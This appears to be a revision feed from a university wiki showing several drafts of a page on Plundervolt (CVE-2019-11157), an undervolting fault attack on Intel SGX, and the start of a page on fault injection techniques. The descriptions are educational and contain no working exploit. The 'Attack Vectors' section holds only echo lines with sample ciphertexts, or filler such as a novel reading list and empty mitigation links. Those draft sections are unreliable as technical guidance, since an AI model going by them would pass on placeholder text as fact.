* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39&lt;br /&gt;
 CT1: DE49E9284A625F72DB87B4A559E814C4       &amp;lt;- faulty&lt;br /&gt;
 CT2: BDFADCE3333976AD53BB1D718DFC4D5A       &amp;lt;- correct&lt;br /&gt;
 &lt;br /&gt;
 input to round 10:&lt;br /&gt;
 1: CD58F457 A9F61565 2880132E 14C32401&lt;br /&gt;
 2: AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F&lt;br /&gt;
 &lt;br /&gt;
 input to round 9:&lt;br /&gt;
 1: 6F6356F9 26F8071F 9D90C6B2 E6884534&lt;br /&gt;
 2: 6F6356C7 26F8D01F 9DF7C6B2 A4884534&lt;br /&gt;
 &lt;br /&gt;
 input to round 8:&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 643E70A1&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 646670A1&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8996</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8996"/>
		<updated>2021-12-21T22:16:01Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39&lt;br /&gt;
 echo CT1: DE49E9284A625F72DB87B4A559E814C4       &amp;lt;- faulty&lt;br /&gt;
 echo CT2: BDFADCE3333976AD53BB1D718DFC4D5A       &amp;lt;- correct&lt;br /&gt;
 echo&lt;br /&gt;
 echo input to round 10:&lt;br /&gt;
 echo 1: CD58F457 A9F61565 2880132E 14C32401&lt;br /&gt;
 echo 2: AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F&lt;br /&gt;
 echo&lt;br /&gt;
 echo input to round 9:&lt;br /&gt;
 echo 1: 6F6356F9 26F8071F 9D90C6B2 E6884534&lt;br /&gt;
 echo 2: 6F6356C7 26F8D01F 9DF7C6B2 A4884534&lt;br /&gt;
 echo&lt;br /&gt;
 echo input to round 8:&lt;br /&gt;
 echo 1: 1C274B5B 2DFD8544 1D8AEAC0 643E70A1&lt;br /&gt;
 echo 2: 1C274B5B 2DFD8544 1D8AEAC0 646670A1&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8994</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8994"/>
		<updated>2021-12-21T22:14:33Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors by generating faults through Voltage glitching (specifically undervolting).&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8992</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8992"/>
		<updated>2021-12-21T22:13:35Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8990</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8990"/>
		<updated>2021-12-21T22:12:15Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
Fault Injection Attacks are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Fault Injection Attack is a type of a Side-Channel Attack. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
Fault injection can be done using various techniques the most common ones are the following: &lt;br /&gt;
&lt;br /&gt;
# Clock Glitch&lt;br /&gt;
# Voltage Glitch&lt;br /&gt;
# Electromagnetic Glitch &lt;br /&gt;
# Optical Injection &lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn&#039;t require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Secure Boot &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
